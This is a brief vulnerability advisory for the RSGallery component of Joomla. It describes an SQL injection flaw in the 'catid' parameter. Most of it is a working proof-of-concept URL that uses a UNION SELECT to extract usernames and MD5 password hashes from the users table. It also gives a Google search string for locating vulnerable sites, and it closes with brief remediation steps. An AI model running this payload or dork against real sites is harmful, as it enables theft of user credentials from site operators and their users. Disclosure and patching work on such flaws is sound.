RSGallery is one of the most complete Gallery solutions for Joomla at this point
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Vulnerability:
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Input passed to the "catid" parameter is not properly verified before being used to sql query.
This can be exploited thru the browser and get the hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off.
Poc/Exploit:
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http://target.com/index.php?option=com_rsgallery&page=inline&catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11%20from%20mos_users--Dork:
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Google : "option=com_rsgallery" or inurl:Óindex.php?option=com_rsgalleryÓ
Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
- use the latest version
